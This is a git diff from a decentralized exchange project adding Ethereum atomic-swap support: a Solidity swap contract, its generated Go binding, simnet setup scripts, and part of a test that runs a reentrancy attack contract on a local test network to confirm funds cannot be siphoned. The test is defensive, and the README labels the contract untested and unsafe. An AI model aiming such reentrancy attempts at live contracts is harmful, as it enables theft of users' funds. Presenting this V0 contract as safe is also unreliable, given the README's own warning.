{ + t.Fatalf("unable to get receipt: %v", err) + } + spew.Dump(receipt) + + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + + originalAcctBal, err := ethClient.balance(ctx, simnetAddr) + if err != nil { + t.Fatal(err) + } + + // Send the siphoned funds to us. + tx, err = reentryContract.AreBelongToUs(txOpts) + if err != nil { + t.Fatalf("unable to are belong to us: %v", err) + } + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + receipt, err = ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil { + t.Fatal(err) + } + txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) + wantBal := big.NewInt(0).Sub(originalAcctBal, txFee) + + bal, err := ethClient.balance(ctx, simnetAddr) + if err != nil { + t.Fatal(err) + } + + // If the exploit worked, the test will fail here, with 4 ether we + // shouldn't be able to touch drained from the contract. + if bal.Cmp(wantBal) != 0 { + diff := big.NewInt(0).Sub(bal, wantBal) + t.Fatalf("unexpected balance change of account: want %v got %v "+ + "or a difference of %v", wantBal, bal, diff) + } + + // The exploit failed and status should be None because initiation also + // failed. + swap, err := ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatal(err) + } + state := eth.SwapState(swap.State) + if state != eth.None { + t.Fatalf("unexpected swap state: want %s got %s", eth.None, state) + } + + // The contract should hold four more ether because initiation of one + // swap failed. + bal, err = ethClient.balance(ctx, contractAddr) + if err != nil { + t.Fatal(err) + } + expectDiff := big.NewInt(0).Mul(big.NewInt(int64(4)), amt) + wantBal = big.NewInt(0).Add(originalContractBal, expectDiff) + if bal.Cmp(wantBal) != 0 { + t.Fatalf("unexpected balance change of contract: want %v got %v", wantBal, bal) + } +} diff --git a/client/cmd/dexcctl/simnet-setup.sh b/client/cmd/dexcctl/simnet-setup.sh index 940e9c20ba..edfdd20aaa 100755 --- a/client/cmd/dexcctl/simnet-setup.sh +++ b/client/cmd/dexcctl/simnet-setup.sh @@ -11,6 +11,9 @@ LTC_ON=$? ~/dextest/bch/harness-ctl/alpha getblockchaininfo > /dev/null BCH_ON=$? +~/dextest/eth/harness-ctl/alpha attach --exec 'eth.blockNumber' > /dev/null +ETH_ON=$? + set -e echo initializing @@ -32,6 +35,11 @@ if [ $BCH_ON -eq 0 ]; then ./dexcctl -p abc -p "" --simnet newwallet 145 ~/dextest/bch/alpha/alpha.conf '{"walletname":"gamma"}' fi +if [ $ETH_ON -eq 0 ]; then + echo configuring Eth wallet + ./dexcctl -p abc -p "" --simnet newwallet 60 "" '{"appDir":"~/dextest/eth/testnode"}' +fi + echo registering with DEX ./dexcctl -p abc --simnet register 127.0.0.1:17273 100000000 ~/dextest/dcrdex/rpc.cert diff --git a/dex/networks/eth/contract.go b/dex/networks/eth/contract.go new file mode 100644 index 0000000000..45030cfc8e --- /dev/null +++ b/dex/networks/eth/contract.go @@ -0,0 +1,379 @@ +// Code generated - DO NOT EDIT. +// This file is a generated binding and any manual changes will be lost. + +package eth + +import ( + "math/big" + "strings" + + ethereum "github.com/ethereum/go-ethereum" + "github.com/ethereum/go-ethereum/accounts/abi" + "github.com/ethereum/go-ethereum/accounts/abi/bind" + "github.com/ethereum/go-ethereum/common" + "github.com/ethereum/go-ethereum/core/types" + "github.com/ethereum/go-ethereum/event" +) + +// Reference imports to suppress errors if they are not otherwise used. +var ( + _ = big.NewInt + _ = strings.NewReader + _ = ethereum.NotFound + _ = bind.Bind + _ = common.Big1 + _ = types.BloomLookup + _ = event.NewSubscription +) + +// ETHSwapSwap is an auto generated low-level Go binding around an user-defined struct. +type ETHSwapSwap struct { + InitBlockNumber *big.Int + RefundBlockTimestamp *big.Int + SecretHash [32]byte + Secret [32]byte + Initiator common.Address + Participant common.Address + Value *big.Int + State uint8 +} + +// ETHSwapABI is the input ABI used to generate the binding from. +const ETHSwapABI = "[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"redeem\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"swap\",\"outputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"enumETHSwap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"internalType\":\"structETHSwap.Swap\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"swaps\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"enumETHSwap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]" + +// ETHSwapFuncSigs maps the 4-byte function signature to its string representation. +var ETHSwapFuncSigs = map[string]string{ + "ae052147": "initiate(uint256,bytes32,address)", + "b31597ad": "redeem(bytes32,bytes32)", + "7249fbb6": "refund(bytes32)", + "76467cbd": "swap(bytes32)", + "eb84e7f2": "swaps(bytes32)", +} + +// ETHSwapBin is the compiled bytecode used for deploying new contracts. +var ETHSwapBin = "0x608060405234801561001057600080fd5b50610784806100206000396000f3fe60806040526004361061004a5760003560e01c80637249fbb61461004f57806376467cbd14610071578063ae052147146100a7578063b31597ad146100ba578063eb84e7f2146100da575b600080fd5b34801561005b57600080fd5b5061006f61006a36600461057d565b61015c565b005b34801561007d57600080fd5b5061009161008c36600461057d565b61025e565b60405161009e9190610673565b60405180910390f35b61006f6100b53660046105d1565b610349565b3480156100c657600080fd5b5061006f6100d53660046105af565b61040e565b3480156100e657600080fd5b506101486100f536600461057d565b6000602081905290815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492936001600160a01b0392831693919092169160ff1688565b60405161009e9897969594939291906106e3565b32331461016857600080fd5b80600160008281526020819052604090206007015460ff16600381111561019157610191610738565b1461019b57600080fd5b6000818152602081905260409020600401546001600160a01b031633146101c157600080fd5b600081815260208190526040902060010154428111156101e057600080fd5b60008381526020819052604080822060078101805460ff191660031790556006015490513391908381818185875af1925050503d806000811461023f576040519150601f19603f3d011682016040523d82523d6000602084013e610244565b606091505b509091505060018115151461025857600080fd5b50505050565b6102a36040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290529060e082015290565b6000828152602081815260409182902082516101008101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b03908116608084015260058401541660a0830152600683015460c0830152600783015491929160e084019160ff9091169081111561032f5761032f610738565b600381111561034057610340610738565b90525092915050565b826000341161035757600080fd5b6000811161036457600080fd5b32331461037057600080fd5b826000808281526020819052604090206007015460ff16600381111561039857610398610738565b146103a257600080fd5b6000848152602081905260409020438155600180820187905560028201869055600482018054336001600160a01b0319918216179091556005830180549091166001600160a01b0387161790553460068301556007909101805460ff1916828002179055505050505050565b32331461041a57600080fd5b8082600160008381526020819052604090206007015460ff16600381111561044457610444610738565b1461044e57600080fd5b6000828152602081905260409020600501546001600160a01b0316331461047457600080fd5b8160028260405160200161048a91815260200190565b60408051601f19818403018152908290526104a491610638565b602060405180830381855afa1580156104c1573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906104e49190610596565b146104ee57600080fd5b60008381526020819052604080822060078101805460ff191660021790556006015490513391908381818185875af1925050503d806000811461054d576040519150601f19603f3d011682016040523d82523d6000602084013e610552565b606091505b509091505060018115151461056657600080fd5b505050600090815260208190526040902060030155565b60006020828403121561058f57600080fd5b5035919050565b6000602082840312156105a857600080fd5b5051919050565b600080604083850312156105c257600080fd5b50508035926020909101359150565b6000806000606084860312156105e657600080fd5b833592506020840135915060408401356001600160a01b038116811461060b57600080fd5b809150509250925092565b6004811061063457634e487b7160e01b600052602160045260246000fd5b9052565b6000825160005b81811015610659576020818601810151858301520161063f565b81811115610668576000828501525b509190910192915050565b60006101008201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015160c083015260e08301516106dc60e0840182610616565b5092915050565b8881526020810188905260408101879052606081018690526001600160a01b038581166080830152841660a082015260c08101839052610100810161072b60e0830184610616565b9998505050505050505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220f5008532d651b31b24a7d133ff5dd0c4461e5f6339f32c9d551cb9cf81107e6b64736f6c63430008060033" + +// DeployETHSwap deploys a new Ethereum contract, binding an instance of ETHSwap to it. +func DeployETHSwap(auth *bind.TransactOpts, backend bind.ContractBackend) (common.Address, *types.Transaction, *ETHSwap, error) { + parsed, err := abi.JSON(strings.NewReader(ETHSwapABI)) + if err != nil { + return common.Address{}, nil, nil, err + } + + address, tx, contract, err := bind.DeployContract(auth, parsed, common.FromHex(ETHSwapBin), backend) + if err != nil { + return common.Address{}, nil, nil, err + } + return address, tx, ÐSwap{ETHSwapCaller: ETHSwapCaller{contract: contract}, ETHSwapTransactor: ETHSwapTransactor{contract: contract}, ETHSwapFilterer: ETHSwapFilterer{contract: contract}}, nil +} + +// ETHSwap is an auto generated Go binding around an Ethereum contract. +type ETHSwap struct { + ETHSwapCaller // Read-only binding to the contract + ETHSwapTransactor // Write-only binding to the contract + ETHSwapFilterer // Log filterer for contract events +} + +// ETHSwapCaller is an auto generated read-only Go binding around an Ethereum contract. +type ETHSwapCaller struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ETHSwapTransactor is an auto generated write-only Go binding around an Ethereum contract. +type ETHSwapTransactor struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ETHSwapFilterer is an auto generated log filtering Go binding around an Ethereum contract events. +type ETHSwapFilterer struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ETHSwapSession is an auto generated Go binding around an Ethereum contract, +// with pre-set call and transact options. +type ETHSwapSession struct { + Contract *ETHSwap // Generic contract binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// ETHSwapCallerSession is an auto generated read-only Go binding around an Ethereum contract, +// with pre-set call options. +type ETHSwapCallerSession struct { + Contract *ETHSwapCaller // Generic contract caller binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session +} + +// ETHSwapTransactorSession is an auto generated write-only Go binding around an Ethereum contract, +// with pre-set transact options. +type ETHSwapTransactorSession struct { + Contract *ETHSwapTransactor // Generic contract transactor binding to set the session for + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// ETHSwapRaw is an auto generated low-level Go binding around an Ethereum contract. +type ETHSwapRaw struct { + Contract *ETHSwap // Generic contract binding to access the raw methods on +} + +// ETHSwapCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. +type ETHSwapCallerRaw struct { + Contract *ETHSwapCaller // Generic read-only contract binding to access the raw methods on +} + +// ETHSwapTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. +type ETHSwapTransactorRaw struct { + Contract *ETHSwapTransactor // Generic write-only contract binding to access the raw methods on +} + +// NewETHSwap creates a new instance of ETHSwap, bound to a specific deployed contract. +func NewETHSwap(address common.Address, backend bind.ContractBackend) (*ETHSwap, error) { + contract, err := bindETHSwap(address, backend, backend, backend) + if err != nil { + return nil, err + } + return ÐSwap{ETHSwapCaller: ETHSwapCaller{contract: contract}, ETHSwapTransactor: ETHSwapTransactor{contract: contract}, ETHSwapFilterer: ETHSwapFilterer{contract: contract}}, nil +} + +// NewETHSwapCaller creates a new read-only instance of ETHSwap, bound to a specific deployed contract. +func NewETHSwapCaller(address common.Address, caller bind.ContractCaller) (*ETHSwapCaller, error) { + contract, err := bindETHSwap(address, caller, nil, nil) + if err != nil { + return nil, err + } + return ÐSwapCaller{contract: contract}, nil +} + +// NewETHSwapTransactor creates a new write-only instance of ETHSwap, bound to a specific deployed contract. +func NewETHSwapTransactor(address common.Address, transactor bind.ContractTransactor) (*ETHSwapTransactor, error) { + contract, err := bindETHSwap(address, nil, transactor, nil) + if err != nil { + return nil, err + } + return ÐSwapTransactor{contract: contract}, nil +} + +// NewETHSwapFilterer creates a new log filterer instance of ETHSwap, bound to a specific deployed contract. +func NewETHSwapFilterer(address common.Address, filterer bind.ContractFilterer) (*ETHSwapFilterer, error) { + contract, err := bindETHSwap(address, nil, nil, filterer) + if err != nil { + return nil, err + } + return ÐSwapFilterer{contract: contract}, nil +} + +// bindETHSwap binds a generic wrapper to an already deployed contract. +func bindETHSwap(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { + parsed, err := abi.JSON(strings.NewReader(ETHSwapABI)) + if err != nil { + return nil, err + } + return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_ETHSwap *ETHSwapRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _ETHSwap.Contract.ETHSwapCaller.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_ETHSwap *ETHSwapRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ETHSwap.Contract.ETHSwapTransactor.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_ETHSwap *ETHSwapRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _ETHSwap.Contract.ETHSwapTransactor.contract.Transact(opts, method, params...) +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_ETHSwap *ETHSwapCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _ETHSwap.Contract.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_ETHSwap *ETHSwapTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ETHSwap.Contract.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_ETHSwap *ETHSwapTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _ETHSwap.Contract.contract.Transact(opts, method, params...) +} + +// Swap is a free data retrieval call binding the contract method 0x76467cbd. +// +// Solidity: function swap(bytes32 secretHash) view returns((uint256,uint256,bytes32,bytes32,address,address,uint256,uint8)) +func (_ETHSwap *ETHSwapCaller) Swap(opts *bind.CallOpts, secretHash [32]byte) (ETHSwapSwap, error) { + var out []interface{} + err := _ETHSwap.contract.Call(opts, &out, "swap", secretHash) + + if err != nil { + return *new(ETHSwapSwap), err + } + + out0 := *abi.ConvertType(out[0], new(ETHSwapSwap)).(*ETHSwapSwap) + + return out0, err + +} + +// Swap is a free data retrieval call binding the contract method 0x76467cbd. +// +// Solidity: function swap(bytes32 secretHash) view returns((uint256,uint256,bytes32,bytes32,address,address,uint256,uint8)) +func (_ETHSwap *ETHSwapSession) Swap(secretHash [32]byte) (ETHSwapSwap, error) { + return _ETHSwap.Contract.Swap(&_ETHSwap.CallOpts, secretHash) +} + +// Swap is a free data retrieval call binding the contract method 0x76467cbd. +// +// Solidity: function swap(bytes32 secretHash) view returns((uint256,uint256,bytes32,bytes32,address,address,uint256,uint8)) +func (_ETHSwap *ETHSwapCallerSession) Swap(secretHash [32]byte) (ETHSwapSwap, error) { + return _ETHSwap.Contract.Swap(&_ETHSwap.CallOpts, secretHash) +} + +// Swaps is a free data retrieval call binding the contract method 0xeb84e7f2. +// +// Solidity: function swaps(bytes32 ) view returns(uint256 initBlockNumber, uint256 refundBlockTimestamp, bytes32 secretHash, bytes32 secret, address initiator, address participant, uint256 value, uint8 state) +func (_ETHSwap *ETHSwapCaller) Swaps(opts *bind.CallOpts, arg0 [32]byte) (struct { + InitBlockNumber *big.Int + RefundBlockTimestamp *big.Int + SecretHash [32]byte + Secret [32]byte + Initiator common.Address + Participant common.Address + Value *big.Int + State uint8 +}, error) { + var out []interface{} + err := _ETHSwap.contract.Call(opts, &out, "swaps", arg0) + + outstruct := new(struct { + InitBlockNumber *big.Int + RefundBlockTimestamp *big.Int + SecretHash [32]byte + Secret [32]byte + Initiator common.Address + Participant common.Address + Value *big.Int + State uint8 + }) + if err != nil { + return *outstruct, err + } + + outstruct.InitBlockNumber = *abi.ConvertType(out[0], new(*big.Int)).(**big.Int) + outstruct.RefundBlockTimestamp = *abi.ConvertType(out[1], new(*big.Int)).(**big.Int) + outstruct.SecretHash = *abi.ConvertType(out[2], new([32]byte)).(*[32]byte) + outstruct.Secret = *abi.ConvertType(out[3], new([32]byte)).(*[32]byte) + outstruct.Initiator = *abi.ConvertType(out[4], new(common.Address)).(*common.Address) + outstruct.Participant = *abi.ConvertType(out[5], new(common.Address)).(*common.Address) + outstruct.Value = *abi.ConvertType(out[6], new(*big.Int)).(**big.Int) + outstruct.State = *abi.ConvertType(out[7], new(uint8)).(*uint8) + + return *outstruct, err + +} + +// Swaps is a free data retrieval call binding the contract method 0xeb84e7f2. +// +// Solidity: function swaps(bytes32 ) view returns(uint256 initBlockNumber, uint256 refundBlockTimestamp, bytes32 secretHash, bytes32 secret, address initiator, address participant, uint256 value, uint8 state) +func (_ETHSwap *ETHSwapSession) Swaps(arg0 [32]byte) (struct { + InitBlockNumber *big.Int + RefundBlockTimestamp *big.Int + SecretHash [32]byte + Secret [32]byte + Initiator common.Address + Participant common.Address + Value *big.Int + State uint8 +}, error) { + return _ETHSwap.Contract.Swaps(&_ETHSwap.CallOpts, arg0) +} + +// Swaps is a free data retrieval call binding the contract method 0xeb84e7f2. +// +// Solidity: function swaps(bytes32 ) view returns(uint256 initBlockNumber, uint256 refundBlockTimestamp, bytes32 secretHash, bytes32 secret, address initiator, address participant, uint256 value, uint8 state) +func (_ETHSwap *ETHSwapCallerSession) Swaps(arg0 [32]byte) (struct { + InitBlockNumber *big.Int + RefundBlockTimestamp *big.Int + SecretHash [32]byte + Secret [32]byte + Initiator common.Address + Participant common.Address + Value *big.Int + State uint8 +}, error) { + return _ETHSwap.Contract.Swaps(&_ETHSwap.CallOpts, arg0) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_ETHSwap *ETHSwapTransactor) Initiate(opts *bind.TransactOpts, refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _ETHSwap.contract.Transact(opts, "initiate", refundTimestamp, secretHash, participant) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_ETHSwap *ETHSwapSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _ETHSwap.Contract.Initiate(&_ETHSwap.TransactOpts, refundTimestamp, secretHash, participant) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_ETHSwap *ETHSwapTransactorSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _ETHSwap.Contract.Initiate(&_ETHSwap.TransactOpts, refundTimestamp, secretHash, participant) +} + +// Redeem is a paid mutator transaction binding the contract method 0xb31597ad. +// +// Solidity: function redeem(bytes32 secret, bytes32 secretHash) returns() +func (_ETHSwap *ETHSwapTransactor) Redeem(opts *bind.TransactOpts, secret [32]byte, secretHash [32]byte) (*types.Transaction, error) { + return _ETHSwap.contract.Transact(opts, "redeem", secret, secretHash) +} + +// Redeem is a paid mutator transaction binding the contract method 0xb31597ad. +// +// Solidity: function redeem(bytes32 secret, bytes32 secretHash) returns() +func (_ETHSwap *ETHSwapSession) Redeem(secret [32]byte, secretHash [32]byte) (*types.Transaction, error) { + return _ETHSwap.Contract.Redeem(&_ETHSwap.TransactOpts, secret, secretHash) +} + +// Redeem is a paid mutator transaction binding the contract method 0xb31597ad. +// +// Solidity: function redeem(bytes32 secret, bytes32 secretHash) returns() +func (_ETHSwap *ETHSwapTransactorSession) Redeem(secret [32]byte, secretHash [32]byte) (*types.Transaction, error) { + return _ETHSwap.Contract.Redeem(&_ETHSwap.TransactOpts, secret, secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_ETHSwap *ETHSwapTransactor) Refund(opts *bind.TransactOpts, secretHash [32]byte) (*types.Transaction, error) { + return _ETHSwap.contract.Transact(opts, "refund", secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_ETHSwap *ETHSwapSession) Refund(secretHash [32]byte) (*types.Transaction, error) { + return _ETHSwap.Contract.Refund(&_ETHSwap.TransactOpts, secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_ETHSwap *ETHSwapTransactorSession) Refund(secretHash [32]byte) (*types.Transaction, error) { + return _ETHSwap.Contract.Refund(&_ETHSwap.TransactOpts, secretHash) +} diff --git a/dex/networks/eth/contracts/ETHSwapV0.sol b/dex/networks/eth/contracts/ETHSwapV0.sol new file mode 100644 index 0000000000..81f8d7a654 --- /dev/null +++ b/dex/networks/eth/contracts/ETHSwapV0.sol @@ -0,0 +1,183 @@ +// SPDX-License-Identifier: BlueOak-1.0.0 +// pragma should be as specific as possible to allow easier validation. +pragma solidity = 0.8.6; + +// ETHSwap creates a contract to be deployed on an ethereum network. After +// deployed, it keeps a map of swaps that facilitates atomic swapping of +// ethereum with other crypto currencies that support time locks. +// +// It accomplishes this by holding funds sent to this contract until certain +// conditions are met. An initiator sends an amount of funds along with byte +// code that tells the contract to insert a swap struct into the public map. At +// this point the funds belong to the contract, and cannot be accessed by +// anyone else, not even the contract's deployer. The initiator sets a +// participant, a secret hash, a blocktime the funds will be accessible should +// they not be redeemed, and a participant who can redeem before or after the +// locktime. The participant can redeem at any time after the initiation +// transaction is mined if they have the secret that hashes to the secret hash. +// Otherwise, the initiator can refund funds any time after the locktime. +// +// This contract has no limits on gas used for any transactions. +// +// This contract cannot be used by other contracts or by a third party mediating +// the swap or multisig wallets. +// +// This code should be verifiable as resulting in a certain on-chain contract +// by compiling with the correct version of solidity and comparing the +// resulting byte code to the data in the original transaction. +contract ETHSwap { + // State is a type that hold's a contract's state. Empty is the uninitiated + // or null value. + enum State { Empty, Filled, Redeemed, Refunded } + + // Swap holds information related to one side of a single swap. + struct Swap { + uint initBlockNumber; + uint refundBlockTimestamp; + bytes32 secretHash; + bytes32 secret; + address initiator; + address participant; + uint256 value; + State state; + } + + // Swaps is a map of swap secret hashes to swaps. It can be read by anyone + // for free. + mapping(bytes32 => Swap) public swaps; + + // constructor is empty. This contract has no connection to the original + // sender after deployed. It can only be interacted with by users + // initiating, redeeming, and refunding swaps. + constructor() {} + + // isRefundable checks that a swap can be refunded. The requirements are + // the initiator is msg.sender, the state is Filled, and the block + // timestamp be after the swap's stored refundBlockTimestamp. + modifier isRefundable(bytes32 secretHash) { + require(swaps[secretHash].state == State.Filled); + require(swaps[secretHash].initiator == msg.sender); + uint refundBlockTimestamp = swaps[secretHash].refundBlockTimestamp; + require(block.timestamp >= refundBlockTimestamp); + _; + } + + // isRedeemable checks that a swap can be redeemed. The requirements are + // the participant is msg.sender, the state is Filled, and the passed secret + // hashes to secretHash. + modifier isRedeemable(bytes32 secretHash, bytes32 secret) { + require(swaps[secretHash].state == State.Filled); + require(swaps[secretHash].participant == msg.sender); + require(sha256(abi.encodePacked(secret)) == secretHash); + _; + } + + // isNotInitiated asserts that the current state of the swap is Empty. + modifier isNotInitiated(bytes32 secretHash) { + require(swaps[secretHash].state == State.Empty); + _; + } + + // hasNoNilValues ensures that value and locktime of the swap are not zero. + // Zero values would likely indicate a mistake on the part of the sender. + modifier hasNoNilValues(uint refundTime) { + require(msg.value > 0); + require(refundTime > 0); + _; + } + + // senderIsOrigin ensures that this contract cannot be used by other + // contracts, which reduces possible attack vectors. There is some + // conversation in the eth community about removing tx.origin, which would + // make this check impossible. + modifier senderIsOrigin() { + require(tx.origin == msg.sender); + _; + } + + // swap returns a single swap from the swaps map. + function swap(bytes32 secretHash) + public view returns(Swap memory) + { + return swaps[secretHash]; + } + + // initiate initiates a swap. It checks that the swap has no nil values, + // the sender is not a contract, and that the contract is not initiated. + // Once initiated, the swap's state is set to Filled. The msg.value is now + // in the custody of the contract and can only be retrieved through redeem + // or refund. + // + // This is a writing function and requires gas. Failure or success should + // be guaged by querying the swap and checking state after being mined. Gas + // is expended either way. + function initiate(uint refundTimestamp, bytes32 secretHash, address participant) + public + payable + hasNoNilValues(refundTimestamp) + senderIsOrigin() + isNotInitiated(secretHash) + { + swaps[secretHash].initBlockNumber = block.number; + swaps[secretHash].refundBlockTimestamp = refundTimestamp; + swaps[secretHash].secretHash = secretHash; + swaps[secretHash].initiator = msg.sender; + swaps[secretHash].participant = participant; + swaps[secretHash].value = msg.value; + swaps[secretHash].state = State.Filled; + } + + // redeem redeems a contract. It checks that the sender is not a contract, + // and that the secret hash hashes to secretHash. msg.value is tranfered + // from the contract to the sender. + // + // It is important to note that this uses call.value which comes with no + // restrictions on gas used. This has the potential to open the contract up + // to a reentry attack. A reentry attack inserts extra code in call.value + // that executes before the function returns. This is why it is very + // important to check the state of the contract first, and change the state + // before proceeding to send. That way, the nested attacking function will + // throw upon trying to call redeem a second time. Currently, reentry is also + // not possible because contracts cannot use this contract. + // + // Any throw at any point in this function will revert the state to what it + // was originally, to Initiated. + // + // This is a writing function and requires gas. Failure or success should + // be guaged by querying the swap and checking state after being mined. Gas + // is expended either way. + function redeem(bytes32 secret, bytes32 secretHash) + public + senderIsOrigin() + isRedeemable(secretHash, secret) + { + swaps[secretHash].state = State.Redeemed; + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); + swaps[secretHash].secret = secret; + } + + + // refund refunds a contract. It checks that the sender is not a contract, + // and that the refund time has passed. msg.value is tranfered from the + // contract to the sender. + // + // It is important to note that this also uses call.value which comes with no + // restrictions on gas used. See redeem for more info. + // + // Any throw at any point in this function will revert the state to what it + // was originally, to Initiated. + // + // This is a writing function and requires gas. Failure or success should + // be guaged by querying the swap and checking state after being mined. Gas + // is expended either way. + function refund(bytes32 secretHash) + public + senderIsOrigin() + isRefundable(secretHash) + { + swaps[secretHash].state = State.Refunded; + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); + } +} diff --git a/dex/networks/eth/contracts/README.md b/dex/networks/eth/contracts/README.md new file mode 100644 index 0000000000..f3b43d800e --- /dev/null +++ b/dex/networks/eth/contracts/README.md @@ -0,0 +1,15 @@ +## Eth Contract Creation + +Have `solc` and `abigen` installed on your system and run from this directory: + +`abigen --sol ETHSwapV{version}.sol --pkg eth --out ../contract.go` + +## History + +### V0 (untested, unsafe, do not use) + +mainnet addres is `to be determined` + +ETHSwapV0.sol is the first interation of the the eth swap smart contract. + +It is currently ABSOLUTELY UNTESTED AND NOT SAFE! DO NOT USE ON MAINNET! diff --git a/dex/testing/eth/harness.sh b/dex/testing/eth/harness.sh index 3667969e3a..6afeabca28 100755 --- a/dex/testing/eth/harness.sh +++ b/dex/testing/eth/harness.sh @@ -41,6 +41,11 @@ DELTA_NODE_KEY="725394672587b34bbf15580c59e5199c75c2c7e998ba8df3cb38cc4347d46e2b DELTA_ENODE="ca414c361d1a38716170923e4900d9dc9203dbaf8fdcaee73e1f861df9fdf20a1453b76fd218c18bc6f3c7e13cbca0b3416af02a53b8e31188faa45aab398d1c" DELTA_NODE_PORT="30307" 